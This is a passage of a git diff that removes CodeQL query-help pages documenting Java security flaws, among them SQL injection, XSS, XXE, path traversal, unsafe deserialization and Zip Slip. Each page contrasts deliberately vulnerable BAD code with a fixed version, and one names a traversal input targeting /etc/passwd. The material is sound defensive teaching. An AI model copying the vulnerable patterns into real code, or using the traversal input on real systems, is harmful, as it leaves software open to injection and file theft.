characters, so this code allows for SQL injection attacks. - -The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the environment variable are not given any special treatment. - - -```java -{ - // BAD: the category might have SQL special characters in it - String category = System.getenv("ITEM_CATEGORY"); - Statement statement = connection.createStatement(); - String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + category + "' ORDER BY PRICE"; - ResultSet results = statement.executeQuery(query1); -} - -{ - // GOOD: use a prepared query - String category = System.getenv("ITEM_CATEGORY"); - String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; - PreparedStatement statement = connection.prepareStatement(query2); - statement.setString(1, category); - ResultSet results = statement.executeQuery(); -} -``` - -## Example -The following code shows several different ways to run a Java Persistence query. - -The first example involves building a query, `query1`, by concatenating an environment variable with some string literals. Just like the SQL example, the environment variable can include special characters, so this code allows for Java Persistence query injection attacks. - -The remaining examples demonstrate different methods for safely building a Java Persistence query with user-supplied values: - -1. `query2` uses a single string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). -1. `query3` uses a single string literal that includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). -1. `namedQuery1` is defined using the `@NamedQuery` annotation, whose `query` attribute is a string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). -1. `namedQuery2` is defined using the `@NamedQuery` annotation, whose `query` attribute includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). -The parameter is then given a value by calling `setParameter`. These versions are immune to injection attacks, because any special characters in the environment variable or user-supplied value are not given any special treatment. - - -```java -{ - // BAD: the category might have Java Persistence Query Language special characters in it - String category = System.getenv("ITEM_CATEGORY"); - Statement statement = connection.createStatement(); - String query1 = "SELECT p FROM Product p WHERE p.category LIKE '" - + category + "' ORDER BY p.price"; - Query q = entityManager.createQuery(query1); -} - -{ - // GOOD: use a named parameter and set its value - String category = System.getenv("ITEM_CATEGORY"); - String query2 = "SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price" - Query q = entityManager.createQuery(query2); - q.setParameter("category", category); -} - -{ - // GOOD: use a positional parameter and set its value - String category = System.getenv("ITEM_CATEGORY"); - String query3 = "SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price" - Query q = entityManager.createQuery(query3); - q.setParameter(1, category); -} - -{ - // GOOD: use a named query with a named parameter and set its value - @NamedQuery( - name="lookupByCategory", - query="SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price") - private static class NQ {} - ... - String category = System.getenv("ITEM_CATEGORY"); - Query namedQuery1 = entityManager.createNamedQuery("lookupByCategory"); - namedQuery1.setParameter("category", category); -} - -{ - // GOOD: use a named query with a positional parameter and set its value - @NamedQuery( - name="lookupByCategory", - query="SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price") - private static class NQ {} - ... - String category = System.getenv("ITEM_CATEGORY"); - Query namedQuery2 = entityManager.createNamedQuery("lookupByCategory"); - namedQuery2.setParameter(1, category); -} -``` - -## References -* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). -* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). -* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). -* The Java EE Tutorial: [The Java Persistence Query Language](https://docs.oracle.com/javaee/7/tutorial/persistence-querylanguage.htm). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlUnescaped.md b/docs/language/query-help/java/SqlUnescaped.md deleted file mode 100644 index ff991614960..00000000000 --- a/docs/language/query-help/java/SqlUnescaped.md +++ /dev/null @@ -1,56 +0,0 @@ -# Query built without neutralizing special characters - -``` -ID: java/concatenated-sql-query -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlUnescaped.ql) - -Even when the components of a SQL query are not fully controlled by a user, it is a vulnerability to concatenate those components into a SQL query without neutralizing special characters. Perhaps a separate vulnerability will allow the user to gain control of the component. As well, a user who cannot gain full control of an input might influence it enough to cause the SQL query to fail to run. - - -## Recommendation -Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. - -In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. - -It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in two different ways. - -The first way involves building a query, `query1`, by concatenating the result of `getCategory` with some string literals. The result of `getCategory` can include special characters, or it might be refactored later so that it may return something that contains special characters. - -The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the result of `getCategory` are not given any special treatment. - - -```java -{ - // BAD: the category might have SQL special characters in it - String category = getCategory(); - Statement statement = connection.createStatement(); - String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + category + "' ORDER BY PRICE"; - ResultSet results = statement.executeQuery(query1); -} - -{ - // GOOD: use a prepared query - String category = getCategory(); - String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; - PreparedStatement statement = connection.prepareStatement(query2); - statement.setString(1, category); - ResultSet results = statement.executeQuery(); -} -``` - -## References -* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). -* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). -* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/StackTraceExposure.md b/docs/language/query-help/java/StackTraceExposure.md deleted file mode 100644 index 9f1c47fd66f..00000000000 --- a/docs/language/query-help/java/StackTraceExposure.md +++ /dev/null @@ -1,54 +0,0 @@ -# Information exposure through a stack trace - -``` -ID: java/stack-trace-exposure -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-209 external/cwe/cwe-497 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-209/StackTraceExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user using the `sendError()` method. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. - - -```java -protected void doGet(HttpServletRequest request, HttpServletResponse response) { - try { - doSomeWork(); - } catch (NullPointerException ex) { - // BAD: printing a stack trace back to the response - ex.printStackTrace(response.getWriter()); - return; - } - - try { - doSomeWork(); - } catch (NullPointerException ex) { - // GOOD: log the stack trace, and send back a non-revealing response - log("Exception occurred", ex); - response.sendError( - HttpServletResponse.SC_INTERNAL_SERVER_ERROR, - "Exception occurred"); - return; - } -} - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* CERT Java Coding Standard: [ERR01-J. Do not allow exceptions to expose sensitive information](https://www.securecoding.cert.org/confluence/display/java/ERR01-J.+Do+not+allow+exceptions+to+expose+sensitive+information). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). -* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TOCTOURace.md b/docs/language/query-help/java/TOCTOURace.md deleted file mode 100644 index f7635dc69da..00000000000 --- a/docs/language/query-help/java/TOCTOURace.md +++ /dev/null @@ -1,63 +0,0 @@ -# Time-of-check time-of-use race condition - -``` -ID: java/toctou-race-condition -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-367 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql) - -Often it is necessary to check the state of a resource before using it. If the resource is accessed concurrently, then the check and the use need to be performed atomically, otherwise the state of the resource may change between the check and the use. This can lead to a "time-of-check/time-of-use" (TOCTOU) race condition. - -In Java, classes may present state inspection methods and operation methods which are synchronized. This prevents multiple threads from executing those methods simultaneously, but it does not prevent a state change in between separate method invocations. - - -## Recommendation -When calling a series of methods which require a consistent view of an object, make sure to synchronize on a monitor that will prevent any other access to the object during your operations. - -If the class that you are using has a well-designed interface, then synchronizing on the object itself will prevent its state being changed inappropriately. - - -## Example -The following example shows a resource which has a readiness state, and an action that is only valid if the resource is ready. - -In the bad case, the caller checks the readiness state and then acts, but does not synchronize around the two calls, so the readiness state may be changed by another thread. - -In the good case, the caller jointly synchronizes the check and the use on the resource, so no other thread can modify the state before the use. - - -```java -class Resource { - public synchronized boolean isReady() { ... } - - public synchronized void setReady(boolean ready) { ... } - - public synchronized void act() { - if (!isReady()) - throw new IllegalStateException(); - ... - } -} - -public synchronized void bad(Resource r) { - if (r.isReady()) { - // r might no longer be ready, another thread might - // have called setReady(false) - r.act(); - } -} - -public synchronized void good(Resource r) { - synchronized(r) { - if (r.isReady()) { - r.act(); - } - } -} -``` - -## References -* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPath.md b/docs/language/query-help/java/TaintedPath.md deleted file mode 100644 index 38c15c009a5..00000000000 --- a/docs/language/query-help/java/TaintedPath.md +++ /dev/null @@ -1,62 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: java/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/TaintedPath.ql) - -Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. - - -## Recommendation -Validate user input before using it to construct a file path. Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". -* Ideally use a whitelist of known good patterns. - -## Example -In this example, a file name is read from a `java.net.Socket` and then used to access a file in the user's home directory and send it back over the socket. However, a malicious user could enter a file name which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - - -```java -public void sendUserFile(Socket sock, String user) { - BufferedReader filenameReader = new BufferedReader( - new InputStreamReader(sock.getInputStream(), "UTF-8")); - String filename = filenameReader.readLine(); - // BAD: read from a file using a path controlled by the user - BufferedReader fileReader = new BufferedReader( - new FileReader("/home/" + user + "/" + filename)); - String fileLine = fileReader.readLine(); - while(fileLine != null) { - sock.getOutputStream().write(fileLine.getBytes()); - fileLine = fileReader.readLine(); - } -} - -public void sendUserFileFixed(Socket sock, String user) { - // ... - - // GOOD: remove all dots and directory delimiters from the filename before using - String filename = filenameReader.readLine().replaceAll("\.", "").replaceAll("/", ""); - BufferedReader fileReader = new BufferedReader( - new FileReader("/home/" + user + "/" + filename)); - - // ... -} -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPermissionsCheck.md b/docs/language/query-help/java/TaintedPermissionsCheck.md deleted file mode 100644 index 4af49ac9856..00000000000 --- a/docs/language/query-help/java/TaintedPermissionsCheck.md +++ /dev/null @@ -1,44 +0,0 @@ -# User-controlled data used in permissions check - -``` -ID: java/tainted-permissions-check -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-807 external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-807/TaintedPermissionsCheck.ql) - -Using user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data. - - -## Recommendation -When checking whether a user is authorized for a particular activity, do not use data that is controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values. - -Similarly, do not decide which permission to check for based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for. - - -## Example -This example, using the Apache Shiro security framework, shows two ways to specify the permissions to check. The first way uses a string, `whatDoTheyWantToDo`, to specify the permissions to check. However, this string is built from user input. This can allow an attacker to force a check against a permission that they know they have, rather than the permission that should be checked. For example, while trying to access the account details of another user, the attacker could force the system to check whether they had permissions to access their *own* account details, which is incorrect, and would allow them to perform the action. The second, more secure way uses a fixed check that does not depend on data that is controlled by the user. - - -```java -public static void main(String[] args) { - String whatDoTheyWantToDo = args[0]; - Subject subject = SecurityUtils.getSubject(); - - // BAD: permissions decision made using tainted data - if(subject.isPermitted("domain:sublevel:" + whatDoTheyWantToDo)) - doIt(); - - // GOOD: use fixed checks - if(subject.isPermitted("domain:sublevel:whatTheMethodDoes")) - doIt(); -} -``` - -## References -* The CERT Oracle Secure Coding Standard for Java: [SEC02-J. Do not base security checks on untrusted sources](https://www.securecoding.cert.org/confluence/display/java/SEC02-J.+Do+not+base+security+checks+on+untrusted+sources). -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnreleasedLock.md b/docs/language/query-help/java/UnreleasedLock.md deleted file mode 100644 index 33e2306ba2f..00000000000 --- a/docs/language/query-help/java/UnreleasedLock.md +++ /dev/null @@ -1,42 +0,0 @@ -# Unreleased lock - -``` -ID: java/unreleased-lock -Kind: problem -Severity: error -Precision: medium -Tags: reliability security external/cwe/cwe-764 external/cwe/cwe-833 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Likely%20Bugs/Concurrency/UnreleasedLock.ql) - -When a thread acquires a lock it must make sure to unlock it again; failing to do so can lead to deadlocks. If a lock allows a thread to acquire it multiple times, for example `java.util.concurrent.locks.ReentrantLock`, then the number of locks must match the number of unlocks in order to fully release the lock. - - -## Recommendation -It is recommended practice always to immediately follow a call to `lock` with a `try` block and place the call to `unlock` inside the `finally` block. Beware of calls inside the `finally` block that could cause exceptions, as this may result in skipping the call to `unlock`. - - -## Example -The typical pattern for using locks safely looks like this: - - -```java -public void m() { - lock.lock(); - // A - try { - // ... method body - } finally { - // B - lock.unlock(); - } -} -``` -If any code that can cause a premature method exit (for example by throwing an exception) is inserted at either point `A` or `B` then the method might not unlock, so this should be avoided. - - -## References -* Java API Documentation: [java.util.concurrent.locks.Lock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Lock.html), [java.util.concurrent.locks.ReentrantLock](http://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantLock.html). -* Common Weakness Enumeration: [CWE-764](https://cwe.mitre.org/data/definitions/764.html). -* Common Weakness Enumeration: [CWE-833](https://cwe.mitre.org/data/definitions/833.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UnsafeDeserialization.md b/docs/language/query-help/java/UnsafeDeserialization.md deleted file mode 100644 index a9eb0e06c46..00000000000 --- a/docs/language/query-help/java/UnsafeDeserialization.md +++ /dev/null @@ -1,59 +0,0 @@ -# Deserialization of user-controlled data - -``` -ID: java/unsafe-deserialization -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-502/UnsafeDeserialization.ql) - -Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary serializable objects is easily exploitable and in many cases allows an attacker to execute arbitrary code. Even before a deserialized object is returned to the caller of a deserialization method a lot of code may have been executed, including static initializers, constructors, and finalizers. Automatic deserialization of fields means that an attacker may craft a nested combination of objects on which the executed initialization code may have unforeseen effects, such as the execution of arbitrary code. - -There are many different serialization frameworks. This query currently supports Kryo, XmlDecoder, XStream, SnakeYaml, and Java IO serialization through `ObjectInputStream`/`ObjectOutputStream`. - - -## Recommendation -Avoid deserialization of untrusted data if at all possible. If the architecture permits it then use other formats instead of serialized objects, for example JSON or XML. However, these formats should not be deserialized into complex objects because this provides further opportunities for attack. For example, XML-based deserialization attacks are possible through libraries such as XStream and XmlDecoder. Alternatively, a tightly controlled whitelist can limit the vulnerability of code, but be aware of the existence of so-called Bypass Gadgets, which can circumvent such protection measures. - - -## Example -The following example calls `readObject` directly on an `ObjectInputStream` that is constructed from untrusted data, and is therefore inherently unsafe. - - -```java -public MyObject { - public int field; - MyObject(int field) { - this.field = field; - } -} - -public MyObject deserialize(Socket sock) { - try(ObjectInputStream in = new ObjectInputStream(sock.getInputStream())) { - return (MyObject)in.readObject(); // unsafe - } -} - -``` -Rewriting the communication protocol to only rely on reading primitive types from the input stream removes the vulnerability. - - -```java -public MyObject deserialize(Socket sock) { - try(DataInputStream in = new DataInputStream(sock.getInputStream())) { - return new MyObject(in.readInt()); - } -} - -``` - -## References -* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). -* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). -* Talks by Chris Frohoff & Gabriel Lawrence: [ AppSecCali 2015: Marshalling Pickles - how deserializing objects will ruin your day](http://frohoff.github.io/appseccali-marshalling-pickles/), [OWASP SD: Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization](http://frohoff.github.io/owaspsd-deserialize-my-shorts/). -* Alvaro Muoz & Christian Schneider, RSAConference 2016: [Serial Killer: Silently Pwning Your Java Endpoints](https://www.rsaconference.com/writable/presentations/file_upload/asd-f03-serial-killer-silently-pwning-your-java-endpoints.pdf). -* SnakeYaml documentation on deserialization: [SnakeYaml deserialization](https://bitbucket.org/asomov/snakeyaml/wiki/Documentation#markdown-header-loading-yaml). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/java/UrlRedirect.md b/docs/language/query-help/java/UrlRedirect.md deleted file mode 100644 index f623bc024ff..00000000000 --- a/docs/language/query-help/java/UrlRedirect.md +++ /dev/null @@ -1,43 +0,0 @@ -# URL redirection from remote source - -``` -ID: java/unvalidated-url-redirection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-601 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-601/UrlRedirect.ql) - -Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. - - -## Recommendation -To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. - - -## Example -The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. - - -```java -public class UrlRedirect extends HttpServlet { - private static final String VALID_REDIRECT = "http://cwe.mitre.org/data/definitions/601.html"; - - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: a request parameter is incorporated without validation into a URL redirect - response.sendRedirect(request.getParameter("target")); - - // GOOD: the request parameter is validated against a known fixed string - if (VALID_REDIRECT.equals(request.getParameter("target"))) { - response.sendRedirect(VALID_REDIRECT); - } - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XSS.md b/docs/language/query-help/java/XSS.md deleted file mode 100644 index da739ec02c5..00000000000 --- a/docs/language/query-help/java/XSS.md +++ /dev/null @@ -1,39 +0,0 @@ -# Cross-site scripting - -``` -ID: java/xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-079/XSS.ql) - -Directly writing user input (for example, an HTTP request parameter) to a web page, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the reference. - - -## Example -The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. - - -```java -public class XSS extends HttpServlet { - protected void doGet(HttpServletRequest request, HttpServletResponse response) - throws ServletException, IOException { - // BAD: a request parameter is written directly to an error response page - response.sendError(HttpServletResponse.SC_NOT_FOUND, - "The page \"" + request.getParameter("page") + "\" was not found."); - } -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/java/XXE.md b/docs/language/query-help/java/XXE.md deleted file mode 100644 index d422d230daa..00000000000 --- a/docs/language/query-help/java/XXE.md +++ /dev/null @@ -1,54 +0,0 @@ -# Resolving XML external entity in user-controlled data - -``` -ID: java/xxe -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-611 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-611/XXE.ql) - -Parsing untrusted XML files with a weakly configured XML parser may lead to an XML External Entity (XXE) attack. This type of attack uses external entity references to access arbitrary files on a system, carry out denial of service, or server side request forgery. Even when the result of parsing is not returned to the user, out-of-band data retrieval techniques may allow attackers to steal sensitive data. Denial of services can also be carried out in this situation. - -There are many XML parsers for Java, and most of them are vulnerable to XXE because their default settings enable parsing of external entities. This query currently identifies vulnerable XML parsing from the following parsers: `javax.xml.parsers.DocumentBuilder`, `javax.xml.stream.XMLStreamReader`, `org.jdom.input.SAXBuilder`/`org.jdom2.input.SAXBuilder`, `javax.xml.parsers.SAXParser`,`org.dom4j.io.SAXReader`, `org.xml.sax.XMLReader`, `javax.xml.transform.sax.SAXSource`, `javax.xml.transform.TransformerFactory`, `javax.xml.transform.sax.SAXTransformerFactory`, `javax.xml.validation.SchemaFactory`, `javax.xml.bind.Unmarshaller` and `javax.xml.xpath.XPathExpression`. - - -## Recommendation -The best way to prevent XXE attacks is to disable the parsing of any Document Type Declarations (DTDs) in untrusted data. If this is not possible you should disable the parsing of external general entities and external parameter entities. This improves security but the code will still be at risk of denial of service and server side request forgery attacks. Protection against denial of service attacks may also be implemented by setting entity expansion limits, which is done by default in recent JDK and JRE implementations. - - -## Example -The following example calls `parse` on a `DocumentBuilder` that is not safely configured on untrusted data, and is therefore inherently unsafe. - - -```java -public void parse(Socket sock) throws Exception { - DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); - DocumentBuilder builder = factory.newDocumentBuilder(); - builder.parse(sock.getInputStream()); //unsafe -} - -``` -In this example, the `DocumentBuilder` is created with DTD disabled, securing it against XXE attack. - - -```java -public void disableDTDParse(Socket sock) throws Exception { - DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); - factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); - DocumentBuilder builder = factory.newDocumentBuilder(); - builder.parse(sock.getInputStream()); //safe -} - -``` - -## References -* OWASP vulnerability description: [XML External Entity (XXE) Processing](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing). -* OWASP guidance on parsing xml files: [XXE Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java). -* Paper by Timothy Morgen: [XML Schema, DTD, and Entity Attacks](https://www.vsecurity.com//download/publications/XMLDTDEntityAttacks.pdf) -* Out-of-band data retrieval: Timur Yunusov & Alexey Osipov, Black hat EU 2013: [XML Out-Of-Band Data Retrieval](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf). -* Denial of service attack (Billion laughs): [Billion Laughs.](https://en.wikipedia.org/wiki/Billion_laughs) -* The Java Tutorials: [Processing Limit Definitions.](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html) -* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ZipSlip.md b/docs/language/query-help/java/ZipSlip.md deleted file mode 100644 index c60e4c91510..00000000000 --- a/docs/language/query-help/java/ZipSlip.md +++ /dev/null @@ -1,57 +0,0 @@ -# Arbitrary file write during archive extraction ("Zip Slip") - -``` -ID: java/zipslip -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/ZipSlip.ql) - -Extracting files from a malicious zip archive (or another archive format) without validating that the destination file path is within the destination directory can cause files outside the destination directory to be overwritten, due to the possible presence of directory traversal elements (`..`) in archive paths. - -Zip archives contain archive entries representing each file in the archive. These entries include a file path for the entry, but these file paths are not restricted and may contain unexpected special elements such as the directory traversal element (`..`). If these file paths are used to determine an output file to write the contents of the archive item to, then the file may be written to an unexpected location. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - -For example, if a zip file contains a file entry `..\sneaky-file`, and the zip file is extracted to the directory `c:\output`, then naively combining the paths would result in an output file path of `c:\output\..\sneaky-file`, which would cause the file to be written to `c:\sneaky-file`. - - -## Recommendation -Ensure that output paths constructed from zip archive entries are validated to prevent writing files to unexpected locations. - -The recommended way of writing an output file from a zip archive entry is to verify that the normalized full path of the output file starts with a prefix that matches the destination directory. Path normalization can be done with either `java.io.File.getCanonicalFile()` or `java.nio.file.Path.normalize()`. Prefix checking can be done with `String.startsWith(..)`, but it is better to use `java.nio.file.Path.startsWith(..)`, as the latter works on complete path segments. - -Another alternative is to validate archive entries against a whitelist of expected files. - - -## Example -In this example, a file path taken from a zip archive item entry is combined with a destination directory. The result is used as the destination file path without verifying that the result is within the destination directory. If provided with a zip file containing an archive path like `..\sneaky-file`, then this file would be written outside the destination directory. - - -```java -void writeZipEntry(ZipEntry entry, File destinationDir) { - File file = new File(destinationDir, entry.getName()); - FileOutputStream fos = new FileOutputStream(file); // BAD - // ... write entry to fos ... -} - -``` -To fix this vulnerability, we need to verify that the normalized `file` still has `destinationDir` as its prefix, and throw an exception if this is not the case. - - -```java -void writeZipEntry(ZipEntry entry, File destinationDir) { - File file = new File(destinationDir, entry.getName()); - if (!file.toPath().normalize().startsWith(destinationDir.toPath())) - throw new Exception("Bad zip entry"); - FileOutputStream fos = new FileOutputStream(file); // OK - // ... write entry to fos ... -} - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/AllowRunningInsecureContent.md b/docs/language/query-help/javascript/AllowRunningInsecureContent.md deleted file mode 100644 index 478c8422d1e..00000000000 --- a/docs/language/query-help/javascript/AllowRunningInsecureContent.md +++ 